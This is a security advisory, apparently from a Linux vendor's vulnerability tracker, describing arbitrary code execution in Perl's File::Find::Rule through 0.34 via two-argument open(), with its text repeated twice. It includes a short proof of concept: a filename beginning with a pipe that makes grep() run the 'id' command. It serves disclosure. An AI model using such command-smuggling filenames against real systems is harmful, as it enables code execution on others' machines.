Overview
About vulnerability
File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.
A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > “/tmp/poc/|id”
$ perl -MFile::Find::Rule
-E ‘File::Find::Rule->grep(“foo”)->in("/tmp/poc")’
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
Details
- Affected product:
- AlmaLinux 9.2 ESU , CentOS 7 ELS , CentOS 8.4 ELS , CentOS 8.5 ELS , CentOS Stream 8 ELS , CloudLinux 7 ELS , Oracle Linux 7 ELS , RHEL 7 ELS , TuxCare 9.6 ESU
- Affected packages:
- file @ 5.33 (+8 more)
File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.
A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.
Example:
$ mkdir /tmp/poc; echo > “/tmp/poc/|id”
$ perl -MFile::Find::Rule
-E ‘File::Find::Rule->grep(“foo”)->in("/tmp/poc")’
uid=1000(user) gid=1000(user) groups=1000(user),100(users)